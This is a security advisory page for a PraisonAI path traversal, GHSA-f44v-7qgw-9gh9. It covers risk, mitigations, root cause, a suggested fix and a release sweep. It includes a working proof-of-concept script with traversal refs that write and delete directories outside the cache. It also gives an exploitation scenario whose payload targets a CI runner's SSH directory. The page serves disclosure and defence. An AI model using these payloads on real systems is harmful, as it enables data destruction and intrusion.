GHSA-f44v-7qgw-9gh9: PraisonAI: path traversal enables arbitrary write/delete
GHSA-f44v-7qgw-9gh9 HIGHPraisonAI's GitHub template URI resolver accepts attacker-controlled `ref` segments verbatim and joins them into cache filesystem paths without boundary validation, allowing sequences like `../../..` to escape the template cache root and write or delete arbitrary directories accessible to the process. With CVSS 8.1, no privileges required, and a public proof-of-concept that reproduces deterministically across all releases from v2.6.0 through v4.6.57, exploitation is trivial — a single malicious template URI loaded by a developer workstation, CI runner, or automated agent pipeline can corrupt SSH keys, wipe configuration directories, or stage further compromise via crafted file writes. The patched version 4.6.59 is available and teams running PraisonAI in any automated or collaborative workflow should treat this as an emergency patch — particular urgency applies to CI/CD pipelines and multi-agent orchestration environments where template loading may occur without direct human review.
What is the risk?
HIGH. CVSS 8.1 with network vector, no privileges required, and trivial exploit complexity confirmed by a fully public PoC that works with network access disabled. The vulnerability has been present since v2.6.0 and is confirmed across every major release; the affected code path was introduced in the initial template system commit and never received path boundary enforcement. The impact combination of arbitrary file write and arbitrary directory deletion (via shutil.rmtree) is severe in AI agent environments where process permissions are often broader than necessary. No EPSS percentile is available yet given recency, but the trivial reproducibility and public advisory accelerate exploitation probability significantly. Not in CISA KEV but high candidate given attack surface and impact class.
How does the attack unfold?
What systems are affected?
| Package | Ecosystem | Vulnerable Range | Patched |
|---|---|---|---|
| PraisonAI | pip | >= 2.6.0, <= 4.6.57 | 4.6.59 |
Do you use PraisonAI? You're affected.
How severe is it?
What is the attack surface?
What should I do?
6 steps-
Upgrade praisonai to version 4.6.59 immediately — first patched release with boundary enforcement on cache path construction.
-
Until patched, audit all code calling TemplateLoader.load() with github: URIs and block any dynamically constructed or externally supplied ref values.
-
Run PraisonAI processes under the most restrictive user account possible (principle of least privilege) to limit blast radius of directory deletion.
-
Add filesystem integrity monitoring (auditd, inotifywait, or cloud-native equivalents) on paths adjacent to ~/.praison/cache/ to detect anomalous writes or deletions.
-
In CI/CD pipelines, pin template source refs to verified, immutable values (commit SHAs preferred over branch names or semver tags) and reject any ref inputs sourced from external workflow data or PR content.
-
Run PraisonAI in a sandboxed environment (container with restricted mount points, read-only bind mounts on sensitive directories) as a defense-in-depth measure.
How is it classified?
Which compliance frameworks are affected?
This CVE is relevant to:
Frequently Asked Questions
What is GHSA-f44v-7qgw-9gh9?
PraisonAI's GitHub template URI resolver accepts attacker-controlled `ref` segments verbatim and joins them into cache filesystem paths without boundary validation, allowing sequences like `../../..` to escape the template cache root and write or delete arbitrary directories accessible to the process. With CVSS 8.1, no privileges required, and a public proof-of-concept that reproduces deterministically across all releases from v2.6.0 through v4.6.57, exploitation is trivial — a single malicious template URI loaded by a developer workstation, CI runner, or automated agent pipeline can corrupt SSH keys, wipe configuration directories, or stage further compromise via crafted file writes. The patched version 4.6.59 is available and teams running PraisonAI in any automated or collaborative workflow should treat this as an emergency patch — particular urgency applies to CI/CD pipelines and multi-agent orchestration environments where template loading may occur without direct human review.
Is GHSA-f44v-7qgw-9gh9 actively exploited?
No confirmed active exploitation of GHSA-f44v-7qgw-9gh9 has been reported, but organizations should still patch proactively.
How to fix GHSA-f44v-7qgw-9gh9?
1. Upgrade praisonai to version 4.6.59 immediately — first patched release with boundary enforcement on cache path construction. 2. Until patched, audit all code calling TemplateLoader.load() with github: URIs and block any dynamically constructed or externally supplied ref values. 3. Run PraisonAI processes under the most restrictive user account possible (principle of least privilege) to limit blast radius of directory deletion. 4. Add filesystem integrity monitoring (auditd, inotifywait, or cloud-native equivalents) on paths adjacent to ~/.praison/cache/ to detect anomalous writes or deletions. 5. In CI/CD pipelines, pin template source refs to verified, immutable values (commit SHAs preferred over branch names or semver tags) and reject any ref inputs sourced from external workflow data or PR content. 6. Run PraisonAI in a sandboxed environment (container with restricted mount points, read-only bind mounts on sensitive directories) as a defense-in-depth measure.
What systems are affected by GHSA-f44v-7qgw-9gh9?
This vulnerability affects the following AI/ML architecture patterns: agent frameworks, multi-agent orchestration systems, AI development pipelines, CI/CD pipelines for AI.
What is the CVSS score for GHSA-f44v-7qgw-9gh9?
GHSA-f44v-7qgw-9gh9 has a CVSS v3.1 base score of 8.1 (HIGH).
What is the AI security impact?
Affected AI Architectures
MITRE ATLAS Techniques
AML.T0010.001 AI Software AML.T0010.005 AI Agent Tool AML.T0011 User Execution AML.T0081 Modify AI Agent Configuration AML.T0101 Data Destruction via AI Agent Tool Invocation Compliance Controls Affected
What are the technical details?
Original Advisory
## Summary PraisonAI's template loader accepts GitHub template URIs with refs, for example `github:owner/repo/template@v1.0.0`. The resolver stores the user-controlled template path and ref verbatim, and the cache layer later joins those values into `~/.praison/cache/templates/github/<owner>/<repo>/<template>/<ref>` without normalizing each segment or checking that the final path remains inside the template cache root. A crafted ref such as `../../../../../../outside-delete-target` therefore escapes the cache directory. The first load can write `.cache_meta.json` outside the cache. If the normal cache hierarchy for the same owner/repo/template has already been created, the same path reaches `shutil.rmtree(cache_path)` and removes an attacker-selected outside directory before replacing it with cache metadata. This is distinct from the old template Zip Slip advisory. No malicious archive member is needed, and the PoV disables network access entirely. The bug is in cache-key construction for GitHub template URIs. ## Affected versions Confirmed vulnerable: - `v2.6.0` - `v3.9.24` - `v3.9.26` - `v4.5.126` - `v4.5.128` - `v4.6.9` - `v4.6.10` - `v4.6.56` - `v4.6.57` - current head `2f9677abb2ea68eab864ee8b6a828fd0141612e1` Recommended affected range: `>= 2.6.0, <= 4.6.57`. No fixed version is known at the time of this report. ## Impact An attacker who can cause a user or service to load an attacker-supplied PraisonAI GitHub template URI can: - create `.cache_meta.json` outside the template cache directory; - delete a directory reachable by the PraisonAI process after a normal cache entry exists for the same owner/repo/template prefix; - corrupt user configuration, project state, or application data reachable by the process permissions. ## Root cause Current-head code path: - `praisonai/templates/resolver.py`: `GITHUB_PATTERN` captures `path` and `ref` with broad regex groups and returns them without segment validation. - `praisonai/templates/security.py`: `is_source_allowed()` allows GitHub sources by default when `allow_any_github` is true. - `praisonai/templates/registry.py`: `get_template()` resolves a GitHub URI, fetches the template, calculates a checksum, then calls `self.cache.put(...)`. - `praisonai/templates/cache.py`: `_get_cache_path()` builds the cache path as `self.cache_dir / "github" / resolved.owner / resolved.repo / resolved.path / ref`. - `praisonai/templates/cache.py`: `put()` removes an existing `cache_path` with `shutil.rmtree(cache_path)`, recreates it, copies content, and writes `.cache_meta.json`. There is no check equivalent to: 1. reject absolute path segments; 2. reject `.` / `..` in owner, repo, template path, or ref; 3. resolve the candidate path; 4. require `os.path.commonpath([cache_root, candidate]) == cache_root`. ## Local-only PoV Run from a PraisonAI source checkout: ```python from pathlib import Path from tempfile import TemporaryDirectory from praisonai.templates.cache import TemplateCache from praisonai.templates.loader import TemplateLoader from praisonai.templates.registry import TemplateRegistry def loader(cache_dir): cache = TemplateCache(cache_dir=cache_dir) registry = TemplateRegistry(cache=cache, offline=False) registry._make_request = lambda url, headers=None: (_ for _ in ()).throw( RuntimeError("network disabled") ) return TemplateLoader(cache=cache, registry=registry) with TemporaryDirectory(prefix="prai-cache-ref-pov-") as tmp: root = Path(tmp) cache_dir = root / "cache" / "templates" write_target = root / "outside-write-target" loader(cache_dir).load( "github:attacker/repo/template@../../../../../../outside-write-target" ) delete_target = root / "outside-delete-target" delete_target.mkdir() canary = delete_target / "canary.txt" canary.write_text("delete-me") ldr = loader(cache_dir) ldr.load("github:attacker/repo/template@main") ldr.load( "github:attacker/repo/template@../../../../../../outside-delete-target" ) safe_target = root / "safe-control" safe_target.mkdir() safe_canary = safe_target / "canary.txt" safe_canary.write_text("must-remain") loader(root / "safe-cache" / "templates").load( "github:attacker/repo/template@main" ) print("outside metadata written:", (write_target / ".cache_meta.json").exists()) print("outside canary exists after malicious ref:", canary.exists()) print("safe canary exists after normal ref:", safe_canary.exists()) ``` Expected output: ```text outside metadata written: True outside canary exists after malicious ref: False safe canary exists after normal ref: True ``` The PoV uses only temporary directories and disables network fetches. I also confirmed the same behavior without monkeypatching network fetches. With a non-existent GitHub repository, PraisonAI makes real GitHub requests, handles the failed fetch, returns a fallback template config, and still writes/deletes through the escaped cache path. The PoV above disables network only to keep the reproducer deterministic and harmless. ## Release sweep The same PoV was run against checked-out tags: ```text praisonai-current metadata_write= True outside_delete= True safe_control= True praisonai-v4.6.57 metadata_write= True outside_delete= True safe_control= True praisonai-v4.6.56 metadata_write= True outside_delete= True safe_control= True praisonai-v4.6.10 metadata_write= True outside_delete= True safe_control= True praisonai-v4.6.9 metadata_write= True outside_delete= True safe_control= True praisonai-v4.5.128 metadata_write= True outside_delete= True safe_control= True praisonai-v4.5.126 metadata_write= True outside_delete= True safe_control= True praisonai-v3.9.26 metadata_write= True outside_delete= True safe_control= True praisonai-v3.9.24 metadata_write= True outside_delete= True safe_control= True praisonai-v2.6.0 metadata_write= True outside_delete= True safe_control= True ``` `git log` shows the affected template cache/resolver/registry files were added in the `v2.6.0` release commit `e7a8ce8e`. ## Suggested fix Validate every cache path segment before joining: - owner and repo: strict GitHub owner/repo-name regex; - template path: split on `/` and reject empty, `.`, `..`, and absolute forms; - ref: reject `/`, path separators, empty segments, `.`, `..`, and absolute forms, or encode/hash the ref before using it in a filesystem path. Then enforce a final boundary check: ```python cache_root = self.cache_dir.resolve() candidate = (cache_root / "github" / owner / repo / safe_path / safe_ref).resolve() if os.path.commonpath([str(cache_root), str(candidate)]) != str(cache_root): raise ValueError("template cache path escapes cache root") ``` A more robust design is to hash untrusted URI fields into opaque directory names instead of using raw remote identifiers as path segments. Also consider failing closed when a GitHub template fetch returns no files. Currently a failed fetch can still result in a cached empty template directory.
Exploitation Scenario
An adversary targeting an organization running PraisonAI for multi-agent orchestration identifies that their CI pipeline loads GitHub template URIs from a shared configuration repository. The adversary submits a pull request or compromises a dependency repository to introduce a template reference containing a traversal payload: `github:org/templates/agent-config@../../../../../../home/runner/.ssh`. When the CI runner processes the malicious template URI during agent initialization, PraisonAI's cache layer constructs an escaped path and — if a normal cache entry already exists for the same owner/repo prefix — calls shutil.rmtree() on the runner's SSH directory, deleting authorized_keys and disrupting pipeline access. On first execution, the attacker writes a .cache_meta.json sentinel outside the cache to confirm reachable paths. The exploit requires no network callback and leaves only standard Python file operation traces, making detection difficult without filesystem-level auditing.
Weaknesses (CWE)
CWE-22 Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')
Primary
CWE-73 External Control of File Name or Path
Primary
CWE-22 — Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal'): The product uses external input to construct a pathname that is intended to identify a file or directory that is located underneath a restricted parent directory, but the product does not properly neutralize special elements within the pathname that can cause the pathname to resolve to a location that is outside of the restricted directory.
- [Implementation] Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does. When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue." Do not rely exclusively on looking for malicious or malformed inputs. This is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, denylis
- [Architecture and Design] For any security checks that are performed on the client side, ensure that these checks are duplicated on the server side, in order to avoid CWE-602. Attackers can bypass the client-side checks by modifying values after the checks have been performed, or by changing the client to remove the client-side checks entirely. Then, these modified values would be submitted to the server.
Source: MITRE CWE corpus.
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:H/A:H References
Timeline
Related Vulnerabilities
CVE-2026-61447 10.0 PraisonAI: RCE via unsandboxed LLM code execution
Same package: praisonai CVE-2026-61445 9.9 PraisonAI: AICoder root RCE via unsanitized tool calls
Same package: praisonai CVE-2026-47392 9.9 praisonaiagents: RCE via Python sandbox bypass
Same package: praisonai GHSA-vmmj-pfw7-fjwp 9.9 praisonai: sandbox escape gives RCE via codeMode tool
Same package: praisonai GHSA-vc46-vw85-3wvm 9.8 PraisonAI: RCE via malicious workflow YAML execution
Same package: praisonai